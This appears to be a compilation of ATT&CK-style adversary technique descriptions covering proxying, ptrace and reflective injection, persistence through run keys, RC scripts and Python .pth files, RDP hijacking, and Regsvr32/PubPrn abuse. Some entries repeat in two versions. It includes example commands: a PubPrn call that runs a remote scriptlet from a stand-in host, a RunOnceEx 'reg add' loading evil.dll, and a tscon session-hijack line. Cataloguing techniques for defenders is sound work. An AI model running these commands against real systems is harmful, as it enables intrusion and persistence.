Techniques

Adversaries may use a compromised device as a proxy server to the Internet. By utilizing a proxy, adversaries hide the true IP address of their C2 server and associated infrastructure from the destination of the network traffic. This masquerades an adversary’s traffic as legitimate traffic originating from the compromised device, which can evade IP-based restrictions and alerts on certain services, such as bank accounts and social media websites.[1]

The most common type of proxy is a SOCKS proxy. It can typically be implemented using standard OS-level APIs and 3rd party libraries with no indication to the user. On Android, adversaries can use the `Proxy` API to programmatically establish a SOCKS proxy connection, or lower-level APIs to interact directly with raw sockets.

Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.

Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.[1] Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes’ memory (ex: the current address of the next instruction). [1][2]

Ptrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.[3]

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process.

Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process.

Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.[1] Ptrace system call injection is commonly performed by writing arbitrary code into a running process (e.g., by using `malloc`) then invoking that memory with `PTRACE_SETREGS` to set the register containing the next instruction to execute. Ptrace system call injection can also be done with `PTRACE_POKETEXT`/`PTRACE_POKEDATA`, which copy data to a specific address in the target process's memory (e.g., the current address of the next instruction).[1][2]

Ptrace system call injection may not be possible when targeting processes with high-privileges, and on some systems those that are non-child processes.[3]

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process.

Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script may be signed by Microsoft and is commonly executed through the Windows Command Shell via Cscript.exe. For example, the following code publishes a printer within the specified domain: cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.[1]

Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites.[2] To do so, adversaries may set the second script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.

In later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).

Adversaries may communicate using publish/subscribe (pub/sub) application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Protocols such as MQTT, XMPP, AMQP, and STOMP use a publish/subscribe design, with message distribution managed by a centralized broker.[1][2] Publishers categorize their messages by topics, while subscribers receive messages according to their subscribed topics.[1] An adversary may abuse publish/subscribe protocols to communicate with systems under their control from behind a message broker while also mimicking normal, expected traffic.

Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.

Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure.[1] Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).

Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the python.exe interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.[1]

Python comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.

Adversaries may achieve persistence by leveraging Python’s startup mechanisms, including path configuration (`.pth`) files and the `sitecustomize.py` or `usercustomize.py` modules. These files are automatically processed during the initialization of the Python interpreter, allowing for the execution of arbitrary code whenever Python is invoked.[1]

Path configuration files are designed to extend Python’s module search paths through the use of import statements. If a `.pth` file is placed in Python's `site-packages` or `dist-packages` directories, any lines beginning with `import` will be executed automatically on Python invocation.[2] Similarly, if `sitecustomize.py` or `usercustomize.py` is present in the Python path, these files will be imported during interpreter startup, and any code they contain will be executed.[3]

Adversaries may abuse these mechanisms to establish persistence on systems where Python is widely used (e.g., for automation or scripting in production environments).

Adversaries may query publicly accessible artificial intelligence (AI) services, such as large language models (LLMs), to support targeting and operations. In addition to searching websites or databases directly (i.e., Search Open Websites/Domains), adversaries may use AI services to synthesize, aggregate, and analyze publicly available information at scale. This may include identifying individuals or organizations to target, researching organizational structures and personnel, identifying technologies used by target organizations, researching business relationships to develop plausible pretexts for Social Engineering approaches, identifying contact information for use in Phishing or Phishing for Information, or gathering derogatory or sensitive information about individuals that may be used for extortion or coercion.[1][2]

Information gathered through AI services may be leveraged for other behaviors, such as establishing operational resources (i.e., Generate Content or Establish Accounts. For obtaining access to AI tools and services, see Artificial Intelligence.

Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.

The Registry contains a significant amount of information about the operating system, configuration, software, and security.[1] Information can easily be queried using the Reg utility, though other means to access the Registry exist. Some of the information may help adversaries to further their operation within a network. Adversaries may use the information from Query Registry during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Adversaries may establish persistence by modifying RC scripts, which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.

Adversaries may establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.[1][2] Upon reboot, the system executes the script's contents as root, resulting in persistence.

Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as ESXi hypervisors, IoT, or embedded systems.[3] As ESXi servers store most system files in memory and therefore discard changes on shutdown, leveraging `/etc/rc.local.d/local.sh` is one of the few mechanisms for enabling persistence across reboots.[4]

Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of Launchd.[5][6] This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.[7] To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.[8]

Adversaries may hijack a legitimate user’s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).[1]

Adversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\windows\system32\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.[2] This can be done remotely or locally and with active or disconnected sessions.[3] It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.[4]

Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. [1][2]

ROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to TFTP Boot, an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.

During the boot process, macOS executes source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts [1]. In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.

Adversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user [2].

Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist.

An adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine [1].

Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to "Reopen windows when logging back in".[1] When selected, all applications currently open are added to a property list file named com.apple.loginwindow.[UUID].plist within the ~/Library/Preferences/ByHost directory.[2][3] Applications listed in this file are automatically reopened upon the user’s next logon.

Adversaries can establish Persistence by adding a malicious application path to the com.apple.loginwindow.[UUID].plist file to execute payloads when a user logs in.

Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.[1]

Adversaries can weaken the encryption software on a compromised network device by reducing the key size used by the software to convert plaintext to ciphertext (e.g., from hundreds or thousands of bytes to just a couple of bytes). As a result, adversaries dramatically reduce the amount of effort needed to decrypt the protected information without the key.

Adversaries may modify the key size used and other encryption parameters using specialized commands in a Network Device CLI introduced to the system through Modify System Image to change the configuration of the device. [2]

**This technique has been deprecated. Please use Create Account, Web Shell, and External Remote Services where appropriate.**

Adversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated.

If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to Valid Accounts to use External Remote Services such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.[1] Adversaries may also retain access through cloud-based infrastructure and applications.

Use of a Web Shell is one such way to maintain access to a network through an externally accessible Web server.

Adversaries may attempt to cause a denial of service (DoS) by reflecting a high-volume of network traffic to a target. This type of Network DoS takes advantage of a third-party server intermediary that hosts and will respond to a given spoofed source IP address. This third-party server is commonly termed a reflector. An adversary accomplishes a reflection attack by sending packets to reflectors with the spoofed address of the victim. Similar to Direct Network Floods, more than one system may be used to conduct the attack, or a botnet may be used. Likewise, one or more reflectors may be used to focus traffic on the target.[1] This Network DoS attack may also reduce the availability and functionality of the targeted system(s) and network.

Reflection attacks often take advantage of protocols with larger responses than requests in order to amplify their traffic, commonly known as a Reflection Amplification attack. Adversaries may be able to generate an increase in volume of attack traffic that is several orders of magnitude greater than the requests sent to the amplifiers. The extent of this increase will depending upon many variables, such as the protocol in question, the technique used, and the amplifying servers that actually produce the amplification in attack volume. Two prominent protocols that have enabled Reflection Amplification Floods are DNS[2] and NTP[3], though the use of several others in the wild have been documented.[4] In particular, the memcache protocol showed itself to be a powerful protocol, with amplification sizes up to 51,200 times the requesting packet.[5]

Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk (e.g., Shared Modules).

Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).[1][2][3][4][5] For example, the `Assembly.Load()` method executed by PowerShell may be abused to load raw code into the running process.[6]

Reflective code injection is very similar to Process Injection except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.[3][4][7][8]

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. [1] These programs will be executed under the context of the user and will have the account's associated permissions level.

Placing a program within a startup folder will cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in.

The startup folder path for the current user is: * C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup The startup folder path for all users is: * C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

The following run keys are created by default on Windows systems: * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce * HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run * HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. [2] For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll" [3]

The following Registry keys can be used to set startup folder items for persistence: * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders * HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders * HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

The following Registry keys can control automatic startup of services during boot: * HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce * HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys: * HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit and HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell subkeys can automatically launch programs.

Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run when any user logs on.

By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.[1] These programs will be executed under the context of the user and will have the account's associated permissions level.

The following run keys are created by default on Windows systems:

* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce * HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run * HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

Run keys may exist under multiple hives.[2][3] The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency.[1] For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll" [4]

Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\Users\\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. The startup folder path for all users is C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp.

The following Registry keys can be used to set startup folder items for persistence:

* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders * HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders * HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

The following Registry keys can control automatic startup of services during boot:

* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce * HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:

* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run * HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run

Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run automatically for the currently logged-on user.

By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.

Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. [1] [2]

Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. [3][4]

Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. [1] [2]

Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. [3][4]

Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. [1]

Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.

Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. [2] This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. [3] [4]

Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via Component Object Model Hijacking. [3]